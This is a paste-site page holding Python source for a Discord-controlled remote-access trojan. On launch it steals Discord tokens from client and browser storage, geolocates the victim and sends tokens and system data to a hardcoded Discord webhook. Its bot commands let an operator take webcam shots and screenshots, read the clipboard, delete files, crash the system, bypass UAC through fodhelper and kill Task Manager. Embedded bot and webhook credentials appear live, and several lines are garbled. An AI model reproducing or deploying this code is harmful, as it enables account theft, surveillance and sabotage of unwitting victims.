Facebook
From ą, 8 Months ago, written in Python.
This paste is a reply to Untitled from ą - view diff
Embed
Download Paste or View Raw
Hits: 291
  1. from discord_webhook import DiscordWebhook
  2. import discord, asyncio, os, requests, platform, socket, psutil, re, json, base64
  3. from Crypto.Cipher import AES
  4. from discord.ext import commands
  5. from datetime import datetime
  6. from win32crypt import CryptUnprotectData
  7. from uuid import getnode as get_mac
  8. from json import loads, dumps
  9.  
  10. TOKEN = 'MTEzNjk4MzU3OTQ3ODQ3ODg3MA.GK_sgl.o3h-k0htq9jf4aZseFcb88nHiBKLddIWBpGOzk'
  11.  
  12. intents = discord.Intents.default()
  13. intents.message_content = True
  14.  
  15. client = discord.Client(intents=intents)
  16. bot = commands.Bot(command_prefix='.', intents=intents)
  17.  
  18. URL="https://discord.com/api/webhooks/1136980495285108757/L_Kk2aCE_7NkH10ce0gI5eubkfh63vGyEGsjndKmzphqFTVxrdq0tNTrMHA69S5NrmCn"
  19.  
  20. def scale(bytes, suffix="B"):
  21.     defined = 1024
  22.     for unit in ["", "K", "M", "G", "T", "P"]:
  23.         if bytes < defined:
  24.             return f"{bytes:.2f}{unit}{suffix}"
  25.         bytes /= defined
  26.  
  27. uname = platform.uname()
  28.  
  29. bt = datetime.fromtimestamp(psutil.boot_time())
  30.  
  31. host = socket.gethostname()
  32. localip = socket.gethostbyname(host)
  33.  
  34. publicip = requests.get('https://api.ipify.org').text
  35. city = requests.get(f'https://ipapi.co/{publicip}/city').text
  36.  regi
  37. postal = requests.get(f'https://ipapi.co/{publicip}/postal').text
  38.  timez
  39. currency = requests.get(f'https://ipapi.co/{publicip}/currency').text
  40. country = requests.get(f'https://ipapi.co/{publicip}/country_name').text
  41. callcode = requests.get(f"https://ipapi.co/{publicip}/country_calling_code").text
  42. vpn = requests.get('http://ip-api.com/json?fields=proxy')
  43. proxy = vpn.json()['proxy']
  44. latitude = requests.get(f'https://ipapi.co/{publicip}/latitude').text
  45.  l
  46. mac = get_mac()
  47.  
  48. class token_log:
  49.     def __init__(self) -> None:
  50.         self.base_url = "https://discord.com/api/v9/users/@me"
  51.         self.appdata = os.getenv("localappdata")
  52.         self.roaming = os.getenv("appdata")
  53.         self.regexp = r"[w-]{24}.[w-]{6}.[w-]{25,110}"
  54.         self.regexp_enc = r"dQw4w9WgXcQ:[^"]*"
  55.  
  56.        self.tokens, self.uids = [], []
  57.  
  58.        self.extract()
  59.  
  60.    def extract(self) -> None:
  61.        print("Extracting tokens...")
  62.        paths = {
  63.            'Discord': self.roaming + '\discord\Local Storage\leveldb\',
  64.            'Discord Canary': self.roaming + '\discordcanary\Local Storage\leveldb\',
  65.            'Lightcord': self.roaming + '\Lightcord\Local Storage\leveldb\',
  66.            'Discord PTB': self.roaming + '\discordptb\Local Storage\leveldb\',
  67.            'Opera': self.roaming + '\Opera Software\Opera Stable\Local Storage\leveldb\',
  68.            'Opera GX': self.roaming + '\Opera Software\Opera GX Stable\Local Storage\leveldb\',
  69.            'Amigo': self.appdata + '\Amigo\User Data\Local Storage\leveldb\',
  70.            'Torch': self.appdata + '\Torch\User Data\Local Storage\leveldb\',
  71.            'Kometa': self.appdata + '\Kometa\User Data\Local Storage\leveldb\',
  72.            'Orbitum': self.appdata + '\Orbitum\User Data\Local Storage\leveldb\',
  73.            'CentBrowser': self.appdata + '\CentBrowser\User Data\Local Storage\leveldb\',
  74.            '7Star': self.appdata + '\7Star\7Star\User Data\Local Storage\leveldb\',
  75.            'Sputnik': self.appdata + '\Sputnik\Sputnik\User Data\Local Storage\leveldb\',
  76.            'Vivaldi': self.appdata + '\Vivaldi\User Data\Default\Local Storage\leveldb\',
  77.            'Chrome SxS': self.appdata + '\Google\Chrome SxS\User Data\Local Storage\leveldb\',
  78.            'Chrome': self.appdata + '\Google\Chrome\User Data\Default\Local Storage\leveldb\',
  79.            'Chrome1': self.appdata + '\Google\Chrome\User Data\Profile 1\Local Storage\leveldb\',
  80.            'Chrome2': self.appdata + '\Google\Chrome\User Data\Profile 2\Local Storage\leveldb\',
  81.            'Chrome3': self.appdata + '\Google\Chrome\User Data\Profile 3\Local Storage\leveldb\',
  82.            'Chrome4': self.appdata + '\Google\Chrome\User Data\Profile 4\Local Storage\leveldb\',
  83.            'Chrome5': self.appdata + '\Google\Chrome\User Data\Profile 5\Local Storage\leveldb\',
  84.            'Epic Privacy Browser': self.appdata + '\Epic Privacy Browser\User Data\Local Storage\leveldb\',
  85.            'Microsoft Edge': self.appdata + '\Microsoft\Edge\User Data\Default\Local Storage\leveldb\',
  86.            'Uran': self.appdata + '\uCozMedia\Uran\User Data\Default\Local Storage\leveldb\',
  87.            'Yandex': self.appdata + '\Yandex\YandexBrowser\User Data\Default\Local Storage\leveldb\',
  88.            'Brave': self.appdata + '\BraveSoftware\Brave-Browser\User Data\Default\Local Storage\leveldb\',
  89.            'Iridium': self.appdata + '\Iridium\User Data\Default\Local Storage\leveldb\'
  90.        }
  91.  
  92.        for name, path in paths.items():
  93.            if not os.path.exists(path):
  94.                continue
  95.            _discord = name.replace(" ", "").lower()
  96.            if "cord" in path:
  97.                if not os.path.exists(self.roaming+f'\{_discord}\Local State'):
  98.                    continue
  99.                for file_name in os.listdir(path):
  100.                    if file_name[-3:] not in ["log", "ldb"]:
  101.                        continue
  102.                    for line in [x.strip() for x in open(f'{path}\{file_name}', errors='ignore').readlines() if x.strip()]:
  103.                        for y in re.findall(self.regexp_enc, line):
  104.                            token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[
  105.                                                     1]), self.get_master_key(self.roaming+f'\{_discord}\Local State'))
  106.  
  107.                            if self.validate_token(token):
  108.                                uid = requests.get(self.base_url, headers={
  109.                                                   'Authorization': token}).json()['id']
  110.                                if uid not in self.uids:
  111.                                    self.tokens.append(token)
  112.                                    self.uids.append(uid)
  113.  
  114.            else:
  115.                for file_name in os.listdir(path):
  116.                    if file_name[-3:] not in ["log", "ldb"]:
  117.                        continue
  118.                    for line in [x.strip() for x in open(f'{path}\{file_name}', errors='ignore').readlines() if x.strip()]:
  119.                        for token in re.findall(self.regexp, line):
  120.                            if self.validate_token(token):
  121.                                uid = requests.get(self.base_url, headers={
  122.                                                   'Authorization': token}).json()['id']
  123.                                if uid not in self.uids:
  124.                                    self.tokens.append(token)
  125.                                    self.uids.append(uid)
  126.  
  127.        if os.path.exists(self.roaming+"\Mozilla\Firefox\Profiles"):
  128.            for path, _, files in os.walk(self.roaming+"\Mozilla\Firefox\Profiles"):
  129.                for _file in files:
  130.                    if not _file.endswith('.sqlite'):
  131.                        continue
  132.                    for line in [x.strip() for x in open(f'{path}\{_file}', errors='ignore').readlines() if x.strip()]:
  133.                        for token in re.findall(self.regexp, line):
  134.                            if self.validate_token(token):
  135.                                uid = requests.get(self.base_url, headers={
  136.                                                   'Authorization': token}).json()['id']
  137.                                if uid not in self.uids:
  138.                                    self.tokens.append(token)
  139.                                    self.uids.append(uid)
  140.  
  141.    def validate_token(self, token: str) -> bool:
  142.        print("Validating tokens...")
  143.        r = requests.get(self.base_url, headers={'Authorization': token})
  144.  
  145.        if r.status_code == 200:
  146.            return True
  147.  
  148.        return False
  149.  
  150.    def decrypt_val(self, buff: bytes, master_key: bytes) -> str:
  151.        print("Decrypting tokens...")
  152.        iv = buff[3:15]
  153.        payload = buff[15:]
  154.        cipher = AES.new(master_key, AES.MODE_GCM, iv)
  155.        decrypted_pass = cipher.decrypt(payload)
  156.        decrypted_pass = decrypted_pass[:-16].decode()
  157.  
  158.        return decrypted_pass
  159.  
  160.    def get_master_key(self, path: str) -> str:
  161.        if not os.path.exists(path):
  162.            return
  163.  
  164.        if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
  165.            return
  166.  
  167.        with open(path, "r", encoding="utf-8") as f:
  168.            c = f.read()
  169.        local_state = json.loads(c)
  170.  
  171.        master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
  172.        master_key = master_key[5:]
  173.        master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
  174.  
  175.        return master_key
  176.  
  177. tokens = token_log().tokens
  178. cpufreq = psutil.cpu_freq()
  179. svmem = psutil.virtual_memory()
  180. partitions = psutil.disk_partitions()
  181. disk_io = psutil.disk_io_counters()
  182. net_io = psutil.net_io_counters()
  183.  
  184. partitions = psutil.disk_partitions()
  185. for partition in partitions:
  186.    try:
  187.        partition_usage = psutil.disk_usage(partition.mountpoint)
  188.    except PermissionError:
  189.        continue
  190.  
  191. requests.post(URL, data=json.dumps({ "embeds": [ { "title": f"Someone Runs Program! - {host}", "color": 8781568 }, { "color": 7506394, "fields": [ { "name": "GeoLocation", "value": f"Using VPN?: {proxy}nLocal IP: {localip}nPublic IP: {publicip}nMAC Adress: {mac}nnCountry: {country} | {callcode} | {timezone}nregion: {region}nCity: {city} | {postal}nCurrency: {currency}nCoordinates: {latitude} {longitude}nnnn" } ] }, { "fields": [ { "name": "System Information", "value": f"System: {uname.system}nNode: {uname.node}nMachine: {uname.machine}nProcessor: {uname.processor}nnBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}" } ] }, { "color": 15109662, "fields": [ { "name": "CPU Information", "value": f"Psychical cores: {psutil.cpu_count(logical=False)}nTotal Cores: {psutil.cpu_count(logical=True)}nnMax Frequency: {cpufreq.max:.2f}MhznMin Frequency: {cpufreq.min:.2f}MhznnTotal CPU usage: {psutil.cpu_percent()}n" }, { "name": "Nemory Information", "value": f"Total: {scale(svmem.total)}nAvailable: {scale(svmem.available)}nUsed: {scale(svmem.used)}nPercentage: {svmem.percent}%" }, { "name": "Disk Information", "value": f"Total Size: {scale(partition_usage.total)}nUsed: {scale(partition_usage.used)}nFree: {scale(partition_usage.free)}nPercentage: {partition_usage.percent}%nnTotal read: {scale(disk_io.read_bytes)}nTotal write: {scale(disk_io.write_bytes)}" }, { "name": "Network Information", "value": f"Total Sent: {scale(net_io.bytes_sent)}")nTotal Received: {scale(net_io.bytes_recv)}" } ] }, { "color": 7440378, "fields": [ { "name": "Discord information", "value": f"Token: {tokens}" } ] } ] }), headers={"Content-Type": "application/json"})
  192.  
  193. command_info = [
  194.     ".update",
  195.     ".bsod",
  196.     ".lock input",
  197.     ".open <file path>",
  198.     ".upload <file> <path>",
  199.     ".message 'text'",
  200.     ".del <file path>",
  201.     ".tokens",
  202.     ".info",
  203.     ".geolocate",
  204.     ".net",
  205.     ".self-destruct",
  206.     ".cam",
  207.     ".uac",
  208.     ".ss",
  209.     ".voice 'text'",
  210.     ".admin",
  211.     ".clipboard",
  212.     ".wallpaper <file>",
  213.     ".play <file>",
  214.     ".kill <process name>",
  215.     ".website &lt;link&gt;",
  216.     ".animan",
  217. ]
  218.  
  219. channel_id = None
  220.  
  221. @client.event
  222. async def on_ready():
  223.     print(f'Logged in as a {client.user}')
  224.     import threading
  225.     global stop_threads, thread, channel_id
  226.     stop_threads = False
  227.     thread = threading.Thread(target=between_callback, args=(client,))
  228.     thread.start()
  229.    
  230.     channel_name = str.lower(host)
  231.     needed_guild_id = 1106247623276515428
  232.     needed_guild = client.get_guild(needed_guild_id)
  233.    
  234.     existing_channel = discord.utils.get(needed_guild.channels, name=channel_name)
  235.  
  236.     if existing_channel:
  237.         print(f"A channel with the name '{channel_name}' exists in {needed_guild.name}!")
  238.         channel_id = existing_channel.id
  239.         target_channel = client.get_channel(1137025518215118928)
  240.         await target_channel.send(f"Channel for this session is already existing: {existing_channel.mention}")
  241.     else:
  242.         print(f"No channel with the name '{channel_name}' exists in {needed_guild.name}.")
  243.         new_channel = await needed_guild.create_text_channel(channel_name)
  244.         channel_id = new_channel.id
  245.         target_channel = client.get_channel(1137025518215118928)
  246.         await target_channel.send(f"Created new channel for this session: {new_channel.mention}")
  247.  
  248. def between_callback(client):
  249.     loop = asyncio.new_event_loop()
  250.     asyncio.set_event_loop(loop)
  251.     loop.run_until_complete(activity(client))
  252.     loop.close()
  253.  
  254. async def activity(client):
  255.     print("Enabling system monitoring")
  256.     import time
  257.     import win32gui
  258.     import win32process
  259.     import psutil
  260.     import subprocess
  261.  
  262.     def get_active_executable_name():
  263.                 try:
  264.                     process_id = win32process.GetWindowThreadProcessId(
  265.                         win32gui.GetForegroundWindow()
  266.                     )
  267.                     return ".".join(psutil.Process(process_id[-1]).name().split(".")[:-1])
  268.                 except Exception as exception:
  269.                     return None
  270.    
  271.     print("Successfully injected!")
  272.  
  273.     while True:
  274.         if get_active_executable_name() == "Taskmgr":
  275.             subprocess.call(f"TASKKILL /F /IM main.exe")
  276.         global stop_threads
  277.         if stop_threads:
  278.             break
  279.         window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
  280.         game = discord.Game(f"Visiting: {window}")
  281.         await client.change_presence(status=discord.Status.online, activity=game)
  282.         time.sleep(1)
  283.  
  284. @client.event
  285. async def on_message(message):
  286.     if message.author == client.user:
  287.         return
  288.    
  289.     if message.channel.id != channel_id:
  290.         return
  291.  
  292.     if message.content.startswith(".update"):
  293.         import bs4, requests, os
  294.  
  295.         response = requests.get(message.content[8:],headers={'User-Agent': 'Mozilla/5.0'})
  296.         soup = bs4.BeautifulSoup(response.text,'lxml')
  297.  
  298.         f = open("updated.py", "a")
  299.         f.write(soup.body.get_text(' ', strip=True))
  300.         f.close()
  301.  
  302.     if message.content.startswith(".bsod"):
  303.         from ctypes import windll
  304.         from ctypes import c_int
  305.         from ctypes import c_uint
  306.         from ctypes import c_ulong
  307.         from ctypes import POINTER
  308.         from ctypes import byref
  309.  
  310.         nullptr = POINTER(c_int)()
  311.  
  312.         windll.ntdll.RtlAdjustPrivilege(
  313.             c_uint(19),
  314.             c_uint(1),
  315.             c_uint(0),
  316.             byref(c_int())
  317.         )
  318.  
  319.         windll.ntdll.NtRaiseHardError(
  320.             c_ulong(0xC000007B),
  321.             c_ulong(0),
  322.             nullptr,
  323.             nullptr,
  324.             c_uint(6),
  325.             byref(c_uint())
  326.         )
  327.  
  328.     if message.content.startswith(".upload"):
  329.         await message.attachments[0].save(message.content[8:])
  330.         await message.channel.send("Uploaded the file you sent")
  331.  
  332.     if message.content.startswith(".lock input"):
  333.         import pynput
  334.         mouse_listener = pynput.mouse.Listener(suppress=True)
  335.         mouse_listener.start()
  336.         keyboard_listener = pynput.keyboard.Listener(suppress=True)
  337.         keyboard_listener.start()
  338.  
  339.     if message.content.startswith(".message"):
  340.         import ctypes
  341.         import time
  342.         MB_YESNO = 0x04
  343.         MB_HELP = 0x4000
  344.         ICON_STOP = 0x10
  345.         def mess():
  346.             ctypes.windll.user32.MessageBoxW(0, message.content[8:], "Error", MB_HELP | MB_YESNO | ICON_STOP) #Show message box
  347.         import threading
  348.         messa = threading.Thread(target=mess)
  349.         messa._running = True
  350.         messa.daemon = True
  351.         messa.start()
  352.         import win32con
  353.         import win32gui
  354.         import time
  355.         time.sleep(1)
  356.         hwnd = win32gui.FindWindow(None, "Error")
  357.         win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) #Put message to foreground
  358.         win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
  359.         win32gui.SetWindowPos(hwnd,win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)  
  360.         win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW + win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
  361.  
  362.     if message.content.startswith(".help"):
  363.         embed=discord.Embed()
  364.         help_message = ""
  365.         for command in command_info:
  366.             help_message += f"{command}n"
  367.         embed.add_field(name="Available commands", value=help_message, inline=False)
  368.         await message.channel.send(embed=embed)
  369.  
  370.     if message.content.startswith(".tokens"):
  371.         await message.channel.send(tokens)
  372.        
  373.     if message.content.startswith(".net"):
  374.         import netifaces as ni
  375.  
  376.         def get_network_information():
  377.             # Get a list of all network interfaces on the system
  378.             interfaces = ni.interfaces()
  379.  
  380.             network_info = {}
  381.  
  382.             for interface in interfaces:
  383.                 addresses = ni.ifaddresses(interface)
  384.  
  385.                 interface_info = {}
  386.  
  387.                 # Get MAC address (Ethernet address)
  388.                 if ni.AF_LINK in addresses:
  389.                     mac_address = addresses[ni.AF_LINK][0]['addr']
  390.                     interface_info['MAC Address'] = mac_address
  391.  
  392.                 # Get IPv4 addresses
  393.                 if ni.AF_INET in addresses:
  394.                     ipv4_addresses = [addr['addr'] for addr in addresses[ni.AF_INET]]
  395.                     interface_info['IPv4 Addresses'] = ipv4_addresses
  396.  
  397.                     # Get IPv4 netmasks
  398.                     ipv4_netmasks = [addr.get('netmask', 'N/A') for addr in addresses[ni.AF_INET]]
  399.                     interface_info['IPv4 Netmasks'] = ipv4_netmasks
  400.  
  401.                     # Get IPv4 broadcast addresses
  402.                     ipv4_broadcasts = [addr.get('broadcast', 'N/A') for addr in addresses[ni.AF_INET]]
  403.                     interface_info['IPv4 Broadcast Addresses'] = ipv4_broadcasts
  404.  
  405.                     # Get IPv4 gateway addresses (if available)
  406.                     gateway_address = ni.gateways().get('default', {}).get(ni.AF_INET, 'N/A')
  407.                     interface_info['IPv4 Gateway'] = gateway_address
  408.  
  409.                 # Get IPv6 addresses
  410.                 if ni.AF_INET6 in addresses:
  411.                     ipv6_addresses = [addr['addr'] for addr in addresses[ni.AF_INET6]]
  412.                     interface_info['IPv6 Addresses'] = ipv6_addresses
  413.  
  414.                     # Get IPv6 netmasks
  415.                     ipv6_netmasks = [addr.get('netmask', 'N/A') for addr in addresses[ni.AF_INET6]]
  416.                     interface_info['IPv6 Netmasks'] = ipv6_netmasks
  417.  
  418.                 # Add more details as needed
  419.  
  420.                 network_info[interface] = interface_info
  421.  
  422.             return network_info
  423.  
  424.         if __name__ == "__main__":
  425.             network_info = get_network_information()
  426.             message_content = ""
  427.             for interface, info in network_info.items():
  428.                 message_content += f"Interface: {interface}n"
  429.                 for key, value in info.items():
  430.                     message_content += f"{key}: {value}n"
  431.                 message_content += "n"
  432.  
  433.             await message.channel.send(message_content)
  434.  
  435.     if message.content.startswith(".info"):
  436.         import platform
  437.         info = platform.uname()
  438.         info_total = f'{info.system} {info.release} {info.machine}'
  439.         await message.channel.send(f'{info_total} {publicip}')
  440.  
  441.     if message.content.startswith(".geolocate"):
  442.         import urllib.request
  443.         import json
  444.         with urllib.request.urlopen("https://geolocation-db.com/json") as url:
  445.             data = json.loads(url.read().decode())
  446.             link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}"
  447.             await message.channel.send(link)
  448.  
  449.     if message.content.startswith(".self-destruct"):
  450.         import shutil
  451.         temp_dir = tempfile.mkdtemp()
  452.         shutil.rmtree(temp_dir)
  453.         subprocess.call(f"TASKKILL /F /IM main.exe")
  454.    
  455.     if message.content.startswith(".open"):
  456.         import os
  457.         path_to_file = message.content[5:]
  458.         try:
  459.             os.open(path_to_file)
  460.             await message.channel.send("File has been opened")
  461.         except FileNotFoundError:
  462.             await message.channel.send("Could not open file")
  463.  
  464.     if message.content.startswith(".del"):
  465.         import os
  466.         path_to_file = message.content[5:]
  467.         try:
  468.             os.remove(path_to_file)
  469.             await message.channel.send("File has been deleted")
  470.         except FileNotFoundError:
  471.             await message.channel.send("Could not delete file")
  472.    
  473.     if message.content.startswith(".cam"):
  474.         import cv2, os
  475.  
  476.         def capture_and_save_image(file_path):
  477.             # Initialize the camera
  478.             camera = cv2.VideoCapture(0)  # 0 represents the default camera
  479.  
  480.             # Check if the camera is opened correctly
  481.             if not camera.isOpened():
  482.                 print("Error: Unable to access the camera.")
  483.                 camera.release()
  484.                 return
  485.  
  486.             # Capture a single frame
  487.             ret, frame = camera.read()
  488.  
  489.             if ret:
  490.                 # Save the captured frame to the file_path
  491.                 cv2.imwrite(file_path, frame)
  492.                 print(f"Image saved to {file_path}")
  493.             else:
  494.                 print("Error: Unable to capture the image.")
  495.  
  496.             # Release the camera
  497.             camera.release()
  498.  
  499.         if __name__ == "__main__":
  500.             file_path = os.path.join(os.getenv('TEMP') + "\camera.jpg")
  501.             capture_and_save_image(file_path)
  502.             file = discord.File&#40;os.path.join(os.getenv('TEMP'&#41; + "\camera.jpg"), filename="camera.jpg")
  503.             await message.channel.send(file=file)
  504.             os.remove(os.path.join(os.getenv('TEMP') + "\camera.jpg"))
  505.  
  506.  
  507.     if message.content.startswith(".uac"):
  508.         import os
  509.         import sys
  510.         import ctypes
  511.         import winreg
  512.  
  513.         CMD                   = r"C:WindowsSystem32cmd.exe"
  514.         FOD_HELPER            = r'C:WindowsSystem32fodhelper.exe'
  515.         PYTHON_CMD            = "python"
  516.         REG_PATH              = 'SoftwareClassesms-settingsshellopencommand'
  517.         DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
  518.  
  519.         def is_running_as_admin():
  520.            
  521.             #Checks if the script is running with administrative privileges.
  522.             #Returns True if is running as admin, False otherwise.
  523.                
  524.             try:
  525.                 return ctypes.windll.shell32.IsUserAnAdmin()
  526.             except:
  527.                 return False
  528.            
  529.         def create_reg_key(key, value):
  530.            
  531.             #Creates a reg key
  532.            
  533.             try:        
  534.                 winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
  535.                 registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)                
  536.                 winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)        
  537.                 winreg.CloseKey(registry_key)
  538.             except WindowsError:        
  539.                 raise
  540.  
  541.         def bypass_uac(cmd):
  542.            
  543.             #Tries to bypass the UAC
  544.            
  545.             try:
  546.                 create_reg_key(DELEGATE_EXEC_REG_KEY, '')
  547.                 create_reg_key(None, cmd)    
  548.             except WindowsError:
  549.                 raise
  550.  
  551.        
  552.         if not is_running_as_admin():
  553.             await message.channel.send('Trying to bypass the UAC')
  554.             try:
  555.                 current_dir = os.path.dirname(os.path.realpath(__file__)) + '\' + __file__
  556.                cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
  557.                bypass_uac(cmd)                
  558.                os.system&#40;FOD_HELPER&#41;                
  559.                sys.exit(0)                
  560.            except WindowsError:
  561.                sys.exit(1)
  562.        else:
  563.            await message.channel.send('The script is running with administrative privileges!')        
  564.  
  565.    if message.content.startswith(".ss"):
  566.        import os
  567.        from mss import mss
  568.        with mss() as sct:
  569.            sct.shot(output=os.path.join(os.getenv('TEMP') + "\monitor.png"))
  570.        file = discord.File&#40;os.path.join(os.getenv('TEMP'&#41; + "\monitor.png"), filename="monitor.png")
  571.        await message.channel.send(file=file)
  572.        os.remove(os.path.join(os.getenv('TEMP') + "\monitor.png"))
  573.  
  574.    if message.content.startswith(".voice"):
  575.        import comtypes
  576.        import win32com.client as wincl
  577.        speak = wincl.Dispatch("SAPI.SpVoice")
  578.        speak.Speak(message.content[7:])
  579.        comtypes.CoUninitialize()
  580.        await message.channel.send("Successfully played your voice message")
  581.  
  582.    if message.content.startswith(".admin"):
  583.        import ctypes, os
  584.  
  585.        def admin():
  586.            try:
  587.                is_admin = (os.getuid() == 0)
  588.            except AttributeError:
  589.                is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
  590.            return is_admin
  591.  
  592.        if admin():
  593.            await message.channel.send("You are an admin")
  594.        else:
  595.            await message.channel.send("You are not an admin")
  596.  
  597.    if message.content.startswith(".clipboard"):
  598.            import ctypes
  599.            import os
  600.  
  601.            CF_TEXT = 1
  602.            kernel32 = ctypes.windll.kernel32
  603.            kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
  604.            kernel32.GlobalLock.restype = ctypes.c_void_p
  605.            kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
  606.            user32 = ctypes.windll.user32
  607.            user32.GetClipboardData.restype = ctypes.c_void_p
  608.            user32.OpenClipboard(0)
  609.            
  610.            if user32.IsClipboardFormatAvailable(CF_TEXT):
  611.                data = user32.GetClipboardData(CF_TEXT)
  612.                data_locked = kernel32.GlobalLock(data)
  613.                text = ctypes.c_char_p(data_locked)
  614.                value = text.value
  615.                kernel32.GlobalUnlock(data_locked)
  616.                body = value.decode()
  617.                user32.CloseClipboard()
  618.                await message.channel.send(f"Clipboard content is: {body}")
  619.  
  620.    if message.content.startswith(".website"):
  621.            import webbrowser
  622.            webbrowser.open(message.content[9:])
  623.            await message.channel.send("Website has been successfully opened")
  624.  
  625.    if message.content.startswith(".kill"):
  626.        import subprocess
  627.        subprocess.call(f"TASKKILL /F /IM {message.content[6:]}")
  628.        await message.channel.send(subprocess.getoutput())
  629.  
  630.    if message.content.startswith(".play"):
  631.        from pygame import mixer
  632.        import os, time
  633.  
  634.        path = os.path.join(os.getenv('TEMP') + "\music.mp3")
  635.  
  636.        await message.attachments[0].save(path)
  637.  
  638.        def play(path):
  639.            mixer.init()
  640.            mixer.music.load(path)
  641.            mixer.music.play()
  642.            while mixer.music.get_busy():
  643.                time.sleep(1)
  644.        
  645.        play(path)
  646.  
  647.        await message.channel.send("Stopped playing music")
  648.  
  649.        os.remove(os.path.join(os.getenv('TEMP') + "\music.mp3"))
  650.  
  651.    if message.content.startswith(".wallpaper"):
  652.                import ctypes
  653.                import os
  654.                path = os.path.join(os.getenv('TEMP') + "\wallpaper.jpg")
  655.                await message.attachments[0].save(path)
  656.                ctypes.windll.user32.SystemParametersInfoW(20, 0, path , 0)
  657.                await message.channel.send("Wallpaper has been set")
  658.                os.remove(os.path.join(os.getenv('TEMP') + "\wallpaper.png"))
  659.    
  660.    if message.content.startswith(".animan"):
  661.        import ctypes, os, time, tempfile, requests, zipfile
  662.  
  663.        path = os.path.join(tempfile.gettempdir(), 'frames')
  664.  
  665.        def download(url, folder):
  666.            if not os.path.exists(folder):
  667.                os.makedirs(folder)
  668.            
  669.            filename = url.split('/')[-1].replace(" ", "_")
  670.            file_path = os.path.join(folder, filename)
  671.  
  672.            r = requests.get(url, stream=True)
  673.            if r.ok:
  674.                with open(file_path, 'wb') as f:
  675.                    for chunk in r.iter_content(1024 * 8):
  676.                        if chunk:
  677.                            f.write(chunk)
  678.                            f.flush()
  679.                            os.fsync(f.fileno())
  680.            else:
  681.                print(f"Failed downloading status code: {r.status_code}n{r.text}")
  682.  
  683.        download("https://cdn.discordapp.com/attachments/1021529453186256986/1104325074602967091/animan.zip", path)
  684.  
  685.        with zipfile.ZipFile&#40;f"{path}/animan.zip", 'r'&#41; as zip_ref:
  686.            zip_ref.extractall(path)
  687.  
  688.        os.remove(f"{path}/animan.zip")
  689.  
  690.        await message.channel.send("Wallpaper has been set")
  691.  
  692.        while True:
  693.            for i in range(1, 642):
  694.                absolute_path = os.path.abspath(f"{path}/animan/frame ({i}).png")
  695.                result = ctypes.windll.user32.SystemParametersInfoW(20, 0, absolute_path, 0)
  696.                time.sleep(0.05)
  697.  
  698. client.run(TOKEN)